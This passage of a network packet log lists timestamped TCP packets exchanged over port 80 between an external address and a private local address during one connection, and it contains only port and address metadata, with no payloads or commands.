Nov 12, 2024 02:13:37.247631073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247642994 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247668028 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247688055 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247689009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247699976 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247713089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247725964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247737885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247759104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.288054943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.288126945 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.288264036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.288311958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.293751955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293765068 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293776035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293802023 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.293807030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293822050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293831110 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.293863058 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.293917894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293931961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293942928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.293958902 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.293982983 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.294075966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294090033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294105053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294120073 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.294142962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.294311047 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294325113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294337988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294349909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294358015 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.294362068 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.294382095 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.294405937 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.338483095 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.338512897 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.338546038 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.338705063 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363168001 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363181114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363192081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363332033 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363332033 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363476992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363490105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363502026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363523960 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363523960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363538980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363542080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363552094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363571882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363574982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363586903 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363595009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363629103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.363956928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363970041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.363982916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364006996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364007950 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364018917 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364031076 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364042044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364073038 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364084005 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364411116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364427090 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364449024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364458084 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364460945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364475012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364479065 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364486933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364495039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364500999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364511967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364522934 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.364526987 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364538908 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.364562988 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.405034065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.405062914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.405075073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.405093908 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.405111074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.410546064 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410595894 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.410600901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410612106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410623074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410638094 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.410645008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410656929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410657883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.410684109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.410710096 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.410953045 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410965919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.410978079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411003113 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411012888 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411084890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411099911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411111116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411128998 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411148071 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411381960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411393881 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411411047 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411422968 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411427021 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411434889 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411447048 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411449909 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411459923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411469936 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.411473036 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411492109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.411514997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480037928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480094910 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480103016 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480107069 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480135918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480159044 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480390072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480413914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480438948 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480451107 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480531931 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480550051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480562925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480575085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480583906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480587959 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480602980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480638981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480798006 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480813026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480859041 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480918884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480931997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480943918 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480956078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480964899 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480969906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.480976105 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.480984926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481005907 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481029034 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481415987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481462955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481519938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481534004 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481544971 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481556892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481563091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481569052 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481571913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481583118 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481595993 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481595993 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481606007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.481625080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.481652021 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.482119083 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.482135057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.482172966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.522072077 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.522084951 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.522095919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.522119045 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.522161961 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528048038 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528059959 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528072119 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528088093 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528115034 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528150082 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528160095 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528199911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528199911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528214931 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528227091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528237104 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528239965 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528249979 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528273106 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528534889 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528584957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528589964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528635025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528691053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528703928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528723001 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528733969 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528736115 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528747082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.528757095 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528770924 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.528790951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.529486895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.529520988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.529532909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.529542923 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.529545069 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.529556990 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.529586077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597271919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597285032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597297907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597413063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597423077 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597434044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597445965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597450018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597450018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597466946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597475052 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597475052 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597477913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597491026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597497940 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597522020 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597543001 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597659111 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597668886 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597713947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597796917 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597843885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597845078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597862005 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597882986 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597898006 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.597925901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.597970009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598042011 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598067045 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598078966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598089933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598090887 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598103046 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598109961 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598114967 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598119974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598131895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598144054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598144054 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598155975 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598169088 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598196983 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598208904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598733902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598758936 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598772049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598783016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.598790884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598790884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.598813057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.638978004 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.639134884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.639303923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.639318943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.639329910 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.639365911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.639384985 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.644912958 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.644972086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.644970894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.644987106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645015955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645034075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645035982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645056009 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645066023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645081043 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645092964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645107031 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645279884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645327091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645328999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645342112 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645353079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645368099 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645376921 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645392895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645401955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645411015 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645436049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645450115 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645590067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645601988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645638943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645662069 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645683050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645695925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645708084 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645721912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645740032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645848989 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645894051 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645899057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645911932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645941973 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645950079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.645956039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.645962954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.646011114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.646230936 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.646280050 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.646286964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.646318913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.687741995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.687752962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.687886000 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714242935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714257002 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714267969 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714420080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714420080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714454889 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714467049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714478016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714505911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714524984 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714535952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714564085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714576960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714585066 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714603901 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714611053 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.714770079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.714819908 CET	49763	80	192.168.2.4	185.215.113.16
